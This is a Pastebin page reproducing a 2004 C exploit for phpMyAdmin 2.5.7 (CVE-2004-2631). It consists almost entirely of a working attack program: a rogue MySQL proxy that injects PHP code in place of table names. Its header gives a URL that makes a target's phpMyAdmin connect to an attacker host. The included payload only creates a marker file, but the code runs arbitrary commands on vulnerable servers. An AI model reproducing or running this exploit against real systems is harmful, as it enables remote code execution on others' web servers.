Advertisement
FlyFar

phpMyAdmin 2.5.7 - Remote code Injection - CVE-2004-2631

May 24th, 2024
567
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.94 KB | Cybersecurity | 0 0
  1. /*    
  2.  * phpmy-explt.c  
  3.  * written by Nasir Simbolon <nasir kecapi com>
  4.  * eagle kecapi com
  5.  * Jakarta, Indonesia
  6.  *
  7.  * June, 10 2004
  8.  *
  9.  * A phpMyAdmin-2.5.7 exploite program.
  10.  * This is a kind of   mysql server wrapper  acts like a proxy except that it will sends a fake table name,
  11.  * when client query "SHOW TABLES",  by replacing the real table name with a string contains exploite codes.
  12.  *
  13.  * Compile : gcc phpmy-explt.c -o phpmy-explt
  14.  *
  15.  * run with
  16.  * ./phpmy-explt
  17.  *
  18.  * and go to your target and put
  19.  *
  20.  * http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=
  21.  * attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers]
  22.  * [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers]
  23.  * [4][only_db]=databasename
  24.  *
  25.  * fill host,port,user,pass and databasename correctly
  26.  *
  27.  */
  28.  
  29.  
  30. #include<stdio.h>
  31. #include<sys/socket.h>
  32. #include<netdb.h>
  33.  
  34. #define BIND_PORT 8889
  35. #define MYSQL_PORT 3306
  36. #define HOSTNAME "localhost"
  37. #define DATABASE "phpmy"
  38.  
  39.  
  40. #define BUFFER_LEN 1024
  41.  
  42. /* This is php code we want to inject into phpMyAdmin
  43.    Do NOT use  single quote (') in the string, use double quote (") instead
  44. */
  45. char *phpcodes = "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";
  46.  
  47.  
  48.   /* This is examples codes I captured when mysql server
  49.      reply to client's request of query "SHOW TABLES" query.
  50.      It shows  database  name 'phpmy' and contain one tablename  'mytable'
  51.      Our aim is to manipulate the data received from mysql server
  52.      by replacing 'mytable' with our exploide codes.
  53.      
  54.      0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
  55.      0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
  56.      '_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
  57.      0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
  58.      -2  ,8  ,0x0 ,0x0 ,0x4 ,7   ,'m' ,'y' ,'t' ,'a' ,
  59.      'b' ,'l' ,'e' ,0x1 ,0   ,0   ,0x5 ,-2
  60.   */
  61.  
  62.  
  63. int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
  64. {  
  65.    char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
  66.                0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
  67.                '_'};
  68.    /* part of dbname     ('p' ,'h' ,'p' ,'m' ,'y') */
  69.    char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,
  70.                0x1 ,0x0 ,0x0 ,0x3 ,-2};  
  71.    /* part of int phpcodes string length +1   (8) */
  72.    char my3[3]  = {0x0 ,0x0 ,0x4};
  73.    /* part of int phpcodes string length      (7) */
  74.    /* part of tablename    ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
  75.    char my4[5]  = {0x1 ,0   ,0   ,0x5 ,-2};
  76.    
  77.    int len,i;
  78.  
  79.    len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  strlen(phpcodes) + 5 + 5;
  80.    *expcode = (char*) malloc(sizeof(char) * len);
  81.    
  82.    i = 0;
  83.    bcopy(&my1[0],*expcode + i,21);
  84.    i += 21;
  85.    bcopy(dbname, *expcode + i,strlen(dbname));
  86.    i += strlen(dbname);
  87.    bcopy(&my2[0],*expcode + i,15);
  88.    i += 15;
  89.    (*expcode)[i] = 5 + strlen(phpcodes) + 1;
  90.    i ++;
  91.    bcopy(&my3[0],*expcode + i,3);
  92.    i += 3;  
  93.    (*expcode)[i++] = 5 + strlen(phpcodes) ;
  94.    /* this is our exploite codes*/
  95.    (*expcode)[i++] = '\\';
  96.    (*expcode)[i++] = '\'';
  97.    (*expcode)[i++] = ';';
  98.    bcopy(phpcodes,*expcode + i,strlen(phpcodes));
  99.    i += strlen(phpcodes);
  100.    (*expcode)[i++] = '/';
  101.    (*expcode)[i++] = '*';
  102.    bcopy(&my4[0],*expcode + i,5);
  103.    
  104.    return len;
  105. }
  106.  
  107. /* connect to mysql server*/
  108.  
  109. int connect_mysql()
  110. {
  111.     int s2;
  112.     struct sockaddr_in ina;
  113.     struct hostent *h;
  114.    
  115.     h = gethostbyname(HOSTNAME);
  116.     /* set internet address */
  117.     bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
  118.     ina.sin_family = AF_INET;
  119.     ina.sin_port = htons(MYSQL_PORT);
  120.     //ina.sin_zero[0]='\0';
  121.     if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)
  122.     perror("Socket: ");
  123.    
  124.     if(connect(s2,(struct sockaddr *)&ina,sizeof(ina)) < 0 )
  125.                        perror("connect()");
  126.     return s2;
  127. }
  128.  
  129. /* listener */
  130. int listener()
  131. {
  132.     int s1;
  133.     int opt;
  134.     struct sockaddr_in ina;
  135.  
  136.     /* set internet address */
  137.     ina.sin_family = AF_INET;
  138.     ina.sin_port = htons(BIND_PORT);
  139.     ina.sin_addr.s_addr = INADDR_ANY;
  140.  
  141.     if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)
  142.     perror("Socket: ");
  143.    
  144.     opt = 1;
  145.     setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char *)&opt, sizeof(opt) );
  146.        
  147.     if(bind(s1,(struct sockaddr *)&ina,sizeof(ina))==-1)
  148.     perror("Bind: ");
  149.    
  150.     if(listen(s1, 10) == -1)
  151.     perror("Listen");
  152.    
  153.    return s1;
  154. }
  155.  
  156.  
  157. int main(int argc,char* argv[])
  158. {
  159.     struct sockaddr_in ina1;
  160.     int ina1_l;
  161.     int s_daemon,s_mysql;
  162.     size_t byte_read,byte_written;
  163.     char *buf;
  164.     int sc,event,n_select;
  165.     fd_set rfds;
  166.         struct timeval tv;   
  167.     int exptlen,i;
  168.     char *expt;
  169.     char *dbname=DATABASE;
  170.    
  171.     buf = (char*) malloc(sizeof(char) * (BUFFER_LEN));
  172.     tv.tv_sec  = 15;
  173.     tv.tv_usec = 0;
  174.    
  175.     /* we listen to port */
  176.      s_daemon = listener();
  177.    
  178.     exptlen = build_exploite_code(dbname,phpcodes,&expt);
  179.  
  180.     for(;;)
  181.     {
  182.        fprintf(stderr,"waiting for connection\n");
  183.        
  184.        if( -1 == (sc = accept(s_daemon,(struct sockaddr *) &ina1,&ina1_l)) )
  185.           perror("accept()");
  186.        /* if we get here, we have a new connection */
  187.        fprintf(stderr,"got client connection\n");
  188. mysql:
  189.        /* connect to mysql */
  190.        s_mysql = connect_mysql();
  191.        
  192.        for(;;)
  193.         {
  194.         FD_ZERO(&rfds);
  195.             FD_SET(sc,&rfds);
  196.         FD_SET(s_mysql,&rfds);                                
  197.        
  198.             n_select = (sc > s_mysql)? sc : s_mysql;
  199.  
  200.             event = select(n_select+1,&rfds,NULL,NULL,NULL);
  201.             if(-1  == event)
  202.             perror("select()");
  203.             else
  204.         {  
  205.             if(FD_ISSET(s_mysql,&rfds))
  206.              {
  207.             byte_read = read(s_mysql,buf,BUFFER_LEN);
  208.                 /* check for closing client connection*/
  209.                 if(byte_read == 0)
  210.                 {
  211.                shutdown(s_mysql,SHUT_RDWR);
  212.                close(s_mysql);
  213.                goto mysql;
  214.                 }
  215.  
  216.              /* check data received from mysql server.
  217.               * if  buf[11] contain 'T', data received from   mysq server is table list
  218.               *
  219.               * NOW we replace the table with our exploite codes and send them to client
  220.               */
  221.                 if( 'T' == buf[11])
  222.             {
  223.                    for(i=0;i<exptlen;i++)
  224.                       buf[i] = expt[i];
  225.                    byte_read = exptlen;
  226.                 }
  227.                
  228.                 if(write(sc, buf, byte_read) < 0)
  229.                    break;
  230.              }
  231.                
  232.                  if(FD_ISSET(sc,&rfds))
  233.              { 
  234.                  byte_read = read(sc,buf,BUFFER_LEN);
  235.                  /* check for closing client connection*/
  236.                  if(byte_read == 0)
  237.                  { 
  238.                 close(sc);    
  239.                 break;
  240.                  }
  241.  
  242.                if(write(s_mysql,buf,byte_read) < 0)
  243.                    break;      
  244.              }    
  245. #if defined(DEBUG)           
  246.              fprintf(stderr,"data:\n");
  247.              for(i=0;i<byte_read;i++)
  248.                  fprintf(stderr," %c(%x) ",buf[i],buf[i]);
  249. #endif    
  250.             }  
  251.  
  252.         }
  253.     }
  254.     free(buf);
  255.     free(expt);
  256.     return 0;
  257. }
  258.  
  259. // milw0rm.com [2004-07-04]
  260.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement